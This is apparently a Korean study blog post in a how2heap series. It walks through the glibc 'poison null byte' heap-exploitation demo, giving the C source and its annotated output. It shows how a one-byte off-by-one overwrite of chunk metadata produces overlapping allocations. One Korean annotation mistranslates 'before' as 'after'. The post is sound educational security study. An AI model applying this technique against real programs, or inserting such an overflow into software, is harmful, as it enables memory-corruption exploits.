#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"
#include "malloc.h"


int main()
{
	printf("Welcome to poison null byte 2.0!\n");
	printf("Tested in Ubuntu 14.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;

	printf("We allocate 0x100 bytes for 'a'.\n");
	a = (uint8_t*) malloc(0x100);
	printf("a: %p\n", a);
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
		"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

	/* chunk size attribute cannot have a least significant byte with a value of 0x00.
	 * the least significant byte of this will be 0x10, because the size of the chunk includes
	 * the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x200);

	printf("b: %p\n", b);

	c = (uint8_t*) malloc(0x100);
	printf("c: %p\n", c);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    /* this technique works by overwriting the size metadata of a free chunk */
	free(b);
	
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; 
	printf("b.size: %#lx\n", *b_size_ptr);

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
	printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
	b1 = malloc(0x100);

	printf("b1: %p\n",b1);
	printf("Now we malloc 'b1'. It will be placed where 'b' was. "
		"At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
	printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
		"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
	printf("We malloc 'b2', our 'victim' chunk.\n");

	b2 = malloc(0x80);
	printf("b2: %p\n",b2);

	memset(b2,'B',0x80);
	printf("Current b2 content:\n%s\n",b2);

	printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

	free(b1);
	free(c);
	
	printf("Finally, we allocate 'd', overlapping 'b2'.\n");
	d = malloc(0x300);
	printf("d: %p\n",d);
	
	printf("Now 'd' and 'b2' overlap.\n");
	memset(d,'D',0x300);

	printf("New b2 content:\n%s\n",b2);

	printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf "
		"for the clear explanation of this technique.\n");
}




Welcome to poison null byte 2.0!

Tested in Ubuntu 14.04 64bit.

This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

이 기술은 off-by-one을 nullbyte가 있는 malloc된 지역에 가지고 있을때 사용될 수 있다.

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;

We allocate 0x100 bytes for 'a'.

a에 0x100바이트를 할당

	a = (uint8_t*) malloc(0x100);

a: 0x1fc1420

	int real_a_size = malloc_usable_size(a);

Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108

우리가 'a'를 overflow하길 원하기 때문에 우리는 'a'의 realsize를 알필요가 있다.(반올림으로 0x100이 넘아갈 수 있다.):0x108

	/* chunk size attribute cannot have a least significant byte with a value of 0x00.
	 * the least significant byte of this will be 0x10, because the size of the chunk includes
	 * the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x200);

b: 0x1fc1530


	c = (uint8_t*) malloc(0x100);

c: 0x1fc1740

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    /* this technique works by overwriting the size metadata of a free chunk */
	free(b);

b.size: 0x211

b.size is: (0x200 + 0x10) | prev_in_use


We overflow 'a' with a single null byte into the metadata of 'b'

우리는 'a'에서 'b'로 하나의 null byte를 overflow 할 수 있다.

	a[real_a_size] = 0; 

b.size: 0x200

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;

c.prev_size is 0x210

	b1 = malloc(0x100);

b1: 0x1fc1530

Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 210

이제 우리는 'b1'을 malloc한다. 이것은 'b'의 자리에 들어갈 것이다. 이점에서 c의 prev_size는 update되어야 한다. 그러나 그러지 않았다..!


Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0(*(c-4))

흥미롭게도 c.prev_size의 바뀐 값은 c.prev_size의 10bytes뒤인 자리에 쓰여진다. 


We malloc 'b2', our 'victim' chunk.

우리는 'b2'를 malloc한다 우리의 'victim' 청크이다

	b2 = malloc(0x80);

b2: 0x1fc1640

	memset(b2,'B',0x80);

Current b2 content:

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').

이제 'b1'과 'c'를 free하자  이 작업은 'b1'과 'c'를 병합할 것이다('b2'를 잊은채..!)

	free(b1);
	free(c);

Finally, we allocate 'd', overlapping 'b2'.

마지막으로 우리는 'd'를 할당한다 b2와 겹치는!

	d = malloc(0x300);

d: 0x1fc1530

Now 'd' and 'b2' overlap.


	memset(d,'D',0x300);

New b2 content:

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD



Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.



'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap]overlapping chunks  (0) 2017.01.24
[how2heap]malloc_playground  (0) 2017.01.24
[how2heap정리] house_of_lore - 이해안감 ㅠ  (0) 2017.01.17
[how2heap정리] house of einherjar  (0) 2017.01.15
[how2heap정리]fist_fit  (0) 2017.01.14

+ Recent posts